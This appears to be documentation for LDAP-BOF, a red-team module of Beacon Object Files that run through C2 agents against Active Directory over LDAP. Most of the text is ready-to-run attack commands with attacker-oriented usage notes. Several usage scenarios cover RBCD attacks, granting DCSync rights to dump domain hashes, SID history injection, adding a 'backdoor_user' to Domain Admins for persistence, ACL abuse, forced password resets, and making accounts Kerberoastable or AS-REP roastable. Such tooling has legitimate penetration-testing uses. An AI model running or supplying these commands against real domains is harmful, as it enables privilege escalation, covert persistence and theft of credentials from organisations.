LDAP-BOF

The LDAP-BOF module provides an exhaustive set of BOFs for directly interacting with Active Directory through the LDAP protocol. With over 45 commands organized into GET, ADD, SET, MOVE, and REMOVE operations, it enables enumeration, creation, modification, and deletion of any domain object. All commands use the ldap prefix and are available on Beacon, Gopher, and Kharon agents on Windows.

Common Flags

All ldap commands accept the following optional flags:

Flag	Description
`-ou "OU=X,DC=domain,DC=local"`	OU path to search within
`-dc dc01.domain.local`	Domain Controller FQDN
`--ldaps`	Use LDAPS (port 636, encrypted). Automatically enforced for password operations

If -dc is not specified, the BOF auto-detects the Domain Controller for the current domain.

GET — Enumeration

ldap get-users

List all domain users.

ldap get-users
ldap get-users -ou "OU=Employees,DC=corp,DC=local"
ldap get-users -a description,mail,lastLogon -dc dc01.corp.local

When to use: First enumeration step to obtain a complete list of user accounts. Use -a to retrieve additional attributes like descriptions (which often contain noted passwords).

ldap get-computers

List all domain computers.

ldap get-computers
ldap get-computers -a operatingSystem,description
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"

When to use: To map the domain infrastructure and identify servers, workstations, and their operating systems.

ldap get-groups

List all domain groups.

ldap get-groups
ldap get-groups -a description,member

ldap get-usergroups

Show all groups a user belongs to.

ldap get-usergroups jdoe
ldap get-usergroups "CN=Jane Doe,OU=Users,DC=corp,DC=local"
ldap get-usergroups admin01 -dc dc01.corp.local

When to use: To assess the privileges of a compromised user. Identifies memberships in privileged groups like Domain Admins, Enterprise Admins, etc.

ldap get-groupmembers

List all members of a group.

ldap get-groupmembers "Domain Admins"
ldap get-groupmembers "Remote Desktop Users" -dc dc01.corp.local

When to use: To identify high-privilege accounts that could be attack targets.

ldap get-object

Get all attributes of a domain object.

ldap get-object jdoe
ldap get-object "CN=DC01,OU=Domain Controllers,DC=corp,DC=local"
ldap get-object jdoe --ldaps

When to use: For deep analysis of a specific object. Reveals all attributes including security-related ones.

ldap get-domaininfo

Get domain information from rootDSE: functional level, naming contexts, schema version.

ldap get-domaininfo
ldap get-domaininfo -dc dc01.corp.local

When to use: To understand the domain configuration, functional level (affects which attacks are possible), and discover other domains in the forest.

ldap get-maq

Query the ms-DS-MachineAccountQuota value (machine account quota).

ldap get-maq
ldap get-maq -dc dc01.corp.local

When to use: If the value is > 0 (default is 10), any domain user can create computer accounts. This is essential for RBCD attacks where you need a computer account you control.

ldap get-writable

Find objects you have write access to.

ldap get-writable
ldap get-writable --detailed
ldap get-writable -ou "OU=Servers,DC=corp,DC=local" --detailed

When to use: Critical command for discovering ACL-based attack paths. If you can write to an object, you can potentially modify its attributes to escalate privileges (e.g., add delegation, modify SPN, change password).

ldap get-delegation

Get the delegation configuration of an object.

ldap get-delegation svc_sql
ldap get-delegation WEB01$ -dc dc01.corp.local

When to use: To identify accounts with unconstrained delegation, constrained delegation, or configured RBCD. Accounts with delegation are high-value targets.

ldap get-uac

Show UAC (User Account Control) flags for an object.

ldap get-uac jdoe
ldap get-uac svc_backup -dc dc01.corp.local

When to use: To identify dangerous configurations like DONT_REQ_PREAUTH (AS-REP Roasting), TRUSTED_FOR_DELEGATION (unconstrained delegation), or PASSWD_NOTREQD.

ldap get-attribute

Get specific attribute values for an object.

ldap get-attribute jdoe objectSid,mail,description
ldap get-attribute DC01$ msDS-AllowedToDelegateTo

ldap get-spn

List SPNs registered on an object.

ldap get-spn svc_mssql
ldap get-spn WEB01$ -dc dc01.corp.local

When to use: For Kerberoasting — accounts with SPNs can be attacked to obtain their password hashes.

ldap get-acl

Get the security descriptor (DACL) of an object.

ldap get-acl jdoe
ldap get-acl "CN=AdminSDHolder,CN=System,DC=corp,DC=local" --resolve
ldap get-acl svc_account --resolve -dc dc01.corp.local

When to use: Critical command for auditing permissions. With --resolve, names are shown instead of SIDs. Look for permissions like GenericAll, WriteDacl, WriteOwner, GenericWrite on high-value objects.

ldap get-rbcd

Get the Resource-Based Constrained Delegation (RBCD) configuration.

ldap get-rbcd WEB01$
ldap get-rbcd DC01$ -dc dc01.corp.local

When to use: To verify which accounts have permission to act on behalf of other users toward this computer.

ADD — Creation

ldap add-user

Create a new domain user.

ldap add-user testuser 'P@ssw0rd!' -ou "OU=Users,DC=corp,DC=local"
ldap add-user newadmin 'C0mpl3x!' -fn John -ln Smith -email john@corp.local
ldap add-user svc_test 'SvcP@ss!' --disabled

When to use: To create a persistent controlled account. The connection always uses LDAPS automatically for password operations.

ldap add-computer

Create a new computer account in the domain.

ldap add-computer FAKEWKS01
ldap add-computer FAKEWKS01 -p 'MachineP@ss!' --ldaps
ldap add-computer FAKEWKS01 -ou "OU=Computers,DC=corp,DC=local"

When to use: Essential for RBCD attacks. Create a computer you control, then configure RBCD on the target so your computer can delegate. Check the quota with get-maq first.

ldap add-group

Create a new domain group.

ldap add-group MyGroup -desc "Test group" -scope global
ldap add-group SvcAccounts -type security -scope domainlocal

ldap add-ou

Create a new Organizational Unit.

ldap add-ou "OU=Testing,DC=corp,DC=local" -desc "Testing OU"
ldap add-ou NewOU -parent "OU=Projects,DC=corp,DC=local"

ldap add-groupmember

Add a member to a group.

ldap add-groupmember "Domain Admins" jdoe
ldap add-groupmember "Remote Desktop Users" testuser -dc dc01.corp.local

When to use: To escalate privileges by adding yourself to privileged groups when you have the required permissions (GenericAll, GenericWrite, or WriteDACL on the group).

ldap add-spn

Add an SPN to an object.

ldap add-spn svc_test MSSQLSvc/db01.corp.local:1433
ldap add-spn jdoe HTTP/web01.corp.local

When to use: To set an SPN on an account you control (needed for certain delegation attacks), or to make an account kerberoastable.

ldap add-attribute

Add a value to an attribute.

ldap add-attribute jdoe description "Service account"
ldap add-attribute WEB01$ info "Managed by IT"

ldap add-uac

Add UAC flags to an object (without removing existing ones).

ldap add-uac svc_test DONT_EXPIRE_PASSWD
ldap add-uac jdoe TRUSTED_FOR_DELEGATION

ldap add-delegation

Add a delegation SPN.

ldap add-delegation svc_web HTTP/app01.corp.local

ldap add-ace

Add an ACE (Access Control Entry) to an object’s DACL.

ldap add-ace "CN=jdoe,OU=Users,DC=corp,DC=local" attacker GenericAll
ldap add-ace DC01$ jdoe WriteDacl -dc dc01.corp.local
ldap add-ace "DC=corp,DC=local" svc_test GenericAll -type allow -flags "CI,OI"

Optional parameters:

-type — ACE type: allow (default) or deny
-flags — Inheritance flags: CI (Container Inherit), OI (Object Inherit)
-guid — Object type GUID
-inherit-guid — Inherited object type GUID

When to use: To establish persistence through ACLs. Grants permissions on domain objects that survive password changes.

ldap add-rbcd

Configure Resource-Based Constrained Delegation (RBCD).

ldap add-rbcd WEB01$ FAKEWKS01$
ldap add-rbcd DC01$ MyComputer$ -dc dc01.corp.local

When to use: Key step in the RBCD attack. After creating a computer account (add-computer), you configure the target computer to accept delegation from your controlled computer. Then use kerbeus s4u to obtain service tickets as any user.

ldap add-sidhistory

Add a SID to an object’s sIDHistory attribute.

ldap add-sidhistory jdoe S-1-5-21-123456789-123456789-123456789-500
ldap add-sidhistory testuser Administrator -dc dc01.corp.local

When to use: To inject an administrator’s SID into your account’s SID history. The security token will include both SIDs, granting you access as if you were that administrator.

Macro ADD — Shortcuts

Convenience commands that simplify common privilege escalation operations.

ldap add-genericall

Grant full control (GenericAll) over an object.

ldap add-genericall "CN=jdoe,OU=Users,DC=corp,DC=local" attacker

ldap add-genericwrite

Grant generic write (GenericWrite) over an object.

ldap add-genericwrite WEB01$ attacker -dc dc01.corp.local

ldap add-dcsync

Grant DCSync permissions (Replicating Directory Changes) on the domain.

ldap add-dcsync "DC=corp,DC=local" jdoe

When to use: Allows running DCSync with the specified account to extract all domain hashes without needing to be a Domain Admin.

ldap add-asreproastable

Set the DONT_REQ_PREAUTH flag on a user, making them vulnerable to AS-REP Roasting.

ldap add-asreproastable svc_legacy -dc dc01.corp.local

ldap add-unconstrained

Enable unconstrained delegation (TRUSTED_FOR_DELEGATION) on an object.

ldap add-unconstrained WEB01$ -dc dc01.corp.local

ldap add-constrained

Configure constrained delegation with specific SPNs.

ldap add-constrained svc_web HTTP/app01.corp.local -dc dc01.corp.local

SET — Replace

SET commands replace the current value rather than appending to it.

ldap set-password

Reset or change a user’s password.

# Password reset (as admin, without knowing current password)
ldap set-password jdoe 'N3wP@ssw0rd!'

# Password change (as the user themselves)
ldap set-password jdoe 'N3wP@ssw0rd!' -old 'OldP@ss!'

When to use: If you have reset permissions (GenericAll, ForceChangePassword) on an account, you can change its password without knowing the current one. Always uses LDAPS automatically.

ldap set-spn

Replace all SPNs on an object.

ldap set-spn svc_test MSSQLSvc/db01.corp.local:1433

ldap set-delegation

Replace delegation SPNs.

ldap set-delegation svc_web HTTP/app01.corp.local

ldap set-attribute

Replace an attribute value.

ldap set-attribute jdoe description "Updated description"

ldap set-uac

Replace all UAC flags. Caution: replaces existing flags rather than adding.

ldap set-uac jdoe NORMAL_ACCOUNT,DONT_EXPIRE_PASSWD

ldap set-owner

Change the owner of an object. Requires WriteOwner permission.

ldap set-owner "CN=TargetObject,DC=corp,DC=local" "CN=attacker,OU=Users,DC=corp,DC=local"

When to use: If you have WriteOwner on an object, you can make yourself the owner and then grant yourself GenericAll.

MOVE — Move Objects

ldap move-object

Move an object to a different OU. Optionally rename it.

ldap move-object jdoe "OU=Disabled,DC=corp,DC=local"
ldap move-object WEB01$ "OU=Servers,DC=corp,DC=local" -n WEB01-OLD$

REMOVE — Deletion

ldap remove-groupmember

Remove a member from a group.

ldap remove-groupmember "Domain Admins" compromised_user

When to use: For post-operation cleanup — remove accounts you added to privileged groups.

ldap remove-object

Delete a domain object.

ldap remove-object testuser -ou "OU=Users,DC=corp,DC=local"
ldap remove-object FAKEWKS01$ -dc dc01.corp.local

ldap remove-spn

Remove a specific SPN from an object.

ldap remove-spn svc_test MSSQLSvc/db01.corp.local:1433

ldap remove-delegation

Remove a delegation SPN.

ldap remove-delegation svc_web HTTP/app01.corp.local

ldap remove-attribute

Remove an attribute or a specific value.

# Remove entire attribute
ldap remove-attribute jdoe description

# Remove only a specific value
ldap remove-attribute jdoe description -value "Old value"

ldap remove-uac

Remove UAC flags from an object.

ldap remove-uac jdoe DONT_EXPIRE_PASSWD
ldap remove-uac svc_test DONT_REQ_PREAUTH

ldap remove-ace

Remove an ACE from an object’s DACL. Can filter by trustee, rights, type, or index.

ldap remove-ace "CN=jdoe,OU=Users,DC=corp,DC=local" -trustee attacker
ldap remove-ace DC01$ -trustee jdoe -rights WriteDacl
ldap remove-ace "DC=corp,DC=local" -index 15

ldap remove-rbcd

Remove an RBCD delegation.

ldap remove-rbcd WEB01$ FAKEWKS01$

Macro REMOVE

ldap remove-genericall "CN=target,DC=corp,DC=local" attacker
ldap remove-genericwrite WEB01$ attacker
ldap remove-dcsync "DC=corp,DC=local" jdoe

Usage Scenarios

1. Initial Domain Enumeration

ldap get-domaininfo
ldap get-users -a description,lastLogon
ldap get-groupmembers "Domain Admins"
ldap get-groupmembers "Enterprise Admins"
ldap get-computers -a operatingSystem

2. Attack Path Discovery

# Find objects you have write access to
ldap get-writable --detailed

# Audit ACLs on high-value objects
ldap get-acl "Domain Admins" --resolve
ldap get-acl "DC=corp,DC=local" --resolve

# Look for dangerous delegations
ldap get-delegation svc_sql
ldap get-uac svc_backup

3. RBCD Attack (Resource-Based Constrained Delegation)

# 1. Verify you can create computers
ldap get-maq

# 2. Create a controlled computer account
ldap add-computer FAKEWKS01 -p 'MachineP@ss!'

# 3. Configure RBCD on the target
ldap add-rbcd TARGET_SERVER$ FAKEWKS01$

# 4. Use Kerbeus to get a ticket as admin
kerbeus s4u /ticket:... /impersonateuser:Administrator /service:cifs/TARGET_SERVER.corp.local

# 5. Clean up
ldap remove-rbcd TARGET_SERVER$ FAKEWKS01$
ldap remove-object FAKEWKS01$

4. ACL Abuse

# If you have GenericAll on a user:
ldap set-password targetuser 'NewP@ss!'

# If you have WriteDACL on the domain:
ldap add-dcsync "DC=corp,DC=local" myuser

# If you have WriteOwner:
ldap set-owner "CN=target,DC=corp,DC=local" "CN=myuser,OU=Users,DC=corp,DC=local"
ldap add-genericall "CN=target,DC=corp,DC=local" myuser

5. Persistence

# Add user to privileged group
ldap add-groupmember "Domain Admins" backdoor_user

# SID History injection
ldap add-sidhistory backdoor_user Administrator

# ACL-based persistence (survives password changes)
ldap add-dcsync "DC=corp,DC=local" svc_persistent

6. Post-Operation Cleanup

# Remove group members
ldap remove-groupmember "Domain Admins" backdoor_user

# Remove added ACEs
ldap remove-dcsync "DC=corp,DC=local" svc_persistent
ldap remove-genericall "CN=target,DC=corp,DC=local" myuser

# Remove created objects
ldap remove-object FAKEWKS01$
ldap remove-object backdoor_user

SQL-BOF

Requirements

LDAP-BOF

Common Flags#

GET — Enumeration#

ldap get-users#

ldap get-computers#

ldap get-groups#

ldap get-usergroups#

ldap get-groupmembers#

ldap get-object#

ldap get-domaininfo#

ldap get-maq#

ldap get-writable#

ldap get-delegation#

ldap get-uac#

ldap get-attribute#

ldap get-spn#

ldap get-acl#

ldap get-rbcd#

ADD — Creation#

ldap add-user#

ldap add-computer#

ldap add-group#

ldap add-ou#

ldap add-groupmember#

ldap add-spn#

ldap add-attribute#

ldap add-uac#

ldap add-delegation#

ldap add-ace#

ldap add-rbcd#

ldap add-sidhistory#

Macro ADD — Shortcuts#

ldap add-genericall#

ldap add-genericwrite#

ldap add-dcsync#

ldap add-asreproastable#

ldap add-unconstrained#

ldap add-constrained#

SET — Replace#

ldap set-password#

ldap set-spn#

ldap set-delegation#

ldap set-attribute#

ldap set-uac#

ldap set-owner#

MOVE — Move Objects#

ldap move-object#

REMOVE — Deletion#

ldap remove-groupmember#

ldap remove-object#

ldap remove-spn#

ldap remove-delegation#

ldap remove-attribute#

ldap remove-uac#

ldap remove-ace#

ldap remove-rbcd#

Macro REMOVE#

Usage Scenarios#

1. Initial Domain Enumeration#

2. Attack Path Discovery#

3. RBCD Attack (Resource-Based Constrained Delegation)#

4. ACL Abuse#

5. Persistence#

6. Post-Operation Cleanup#